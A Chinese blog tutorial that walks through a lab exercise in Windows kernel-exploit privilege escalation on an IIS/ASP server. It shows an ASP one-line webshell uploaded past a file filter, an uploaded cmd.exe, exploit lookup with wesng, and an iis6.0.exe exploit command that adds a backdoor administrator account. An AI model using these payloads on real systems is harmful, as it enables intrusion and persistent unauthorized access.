Windows提权第一篇-内核溢出漏洞提权_上传

文章目录

  • ​​为什么需要提权​​
  • ​​Windows提权的常见方法​​
  • ​​Windows系统常见命令​​
  • ​​内核溢出漏洞提权​​
  • ​​IIS权限​​
  • ​​拿shell​​
  • ​​提权过程​​
  • ​​信息收集​​
  • ​​提权​​
  • ​​apsx提权​​

为什么需要提权

读取/写入敏感文件

重新启动之后权限维持

插入永久后门

Windows提权的常见方法

1.内核漏洞

2.错误的服务权限配置

3.DLL注入

4.始终以高权限安装程序

5.凭证存储

Windows系统常见命令

ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

内核溢出漏洞提权

在渗透测试过程中,经常遇到的windows服务器包括winserver2003、winserver2008、winserver2012

一般获取的是 iis_user 用户组权限

IIS权限

aspx > php => asp

apsx 默认可以执行终端命令,PHP 和 asp 在组件没有删除的情况下,可以上传 cmd 到可执行目录,执行命令

执行命令的组件:wscript.shell

拿shell

靶机是一个asp站点,存在文件上传

Bypass文件上传,上传asp一句话木马(和php一句话利用方式相同)

<%eval request ("pass")%>

使用蚁剑直接连接就好了

Windows提权第一篇-内核溢出漏洞提权_提权_02

可以登录但是发现执行命令提示拒绝访问

Windows提权第一篇-内核溢出漏洞提权_上传_03

可能的两种情况:

  1. cmd权限不足,没有命令执行权限,需要自己上传一个cmd.exe,注意windows server不能使用win10的cmd,需要对应版本
  2. 可能启用了安全模式(但是这里没有提示,那就应该是第一种)

解决方法:

  1. 重新设置一下cmd路径:如setp:C:\inetpub\wwwroot\cmd.exe(可能不行)
  2. 上传一个大马(或者上线 cs)寻找可读写目录,重新上传一个cmd(版本需要匹配)
    上线cs方法(目前暂时使用大马的方式比较简单)

第一个方法不行,使用第二个方法-小马拉大马,传一个大马上去(咳咳,不要以为是靶机就直接仍上去一个大马,权限有问题)

Windows提权第一篇-内核溢出漏洞提权_提权_04

发现支持wscript.shell组件,传上去一个cmd.exe(注意版本),到recyrler目录(一般这个目录都是可读写的)

Windows提权第一篇-内核溢出漏洞提权_php_05

在IIS中默认上传大小是200k,大于会报错,但是实际情况中不需要担心这个问题(靶机中如果手动上传后无法使用,要添加web用户权限)

Windows提权第一篇-内核溢出漏洞提权_内核_06

Windows提权第一篇-内核溢出漏洞提权_提权_07

再次执行命令whoami发现执行成功

Windows提权第一篇-内核溢出漏洞提权_内核_08

提权过程

  1. 确保webshell中可以执行终端命令并收集信息
  2. 上传溢出 exp
  3. 执行命令

信息收集

systeminfo命令收集信息

Windows提权第一篇-内核溢出漏洞提权_提权_09

Windows提权第一篇-内核溢出漏洞提权_上传_10

检查Windows提权辅助工具,​wesng​主要帮助检测Windows安全缺陷,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议

或者这个网站也可:https://i.hacking8.com/tiquan/,将补丁号输入,查询可利用的 windows 提权

介绍一下wesng的用法

  1. 将wesng下载到本地主机上,先升级最新的漏洞数据库
python wes.py --update

Windows提权第一篇-内核溢出漏洞提权_php_11

  1. 将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查
python .\wes.py -m .\systeminfo.txt

Windows提权第一篇-内核溢出漏洞提权_windows server_12

  1. 使用漏洞库 https://www.exploit-db.com/ 找payload,上传至靶机中提取

提权

既然已经有poc了,提权就很easy了

上传iis6.0通用提权程序,拿到system权限

Windows提权第一篇-内核溢出漏洞提权_上传_13

使用命令增加用户

C:\RECYCLER\iis6.0.exe "net user ocean ocean /add & net localgroup administrators ocean /add"

命令作用是:创建密码为ocean的ocean用户,并添加到管理员用户组

Windows提权第一篇-内核溢出漏洞提权_提权_14

使用账号密码登录RDP

Windows提权第一篇-内核溢出漏洞提权_php_15

net user ocean

Windows提权第一篇-内核溢出漏洞提权_内核_16

apsx提权

以上是asp程序的iis提权,apsx程序会比asp的权限高,默认是可以执行cmd命令的,如果在asp不能执行命令时,而网站支持aspx,则可以上传apsx木马进行提权

提权思路是一样的,就是不需要上传cmd.exe了,可以直接上传iis6.0.exe进行提权


Windows提权第一篇-内核溢出漏洞提权_上传_17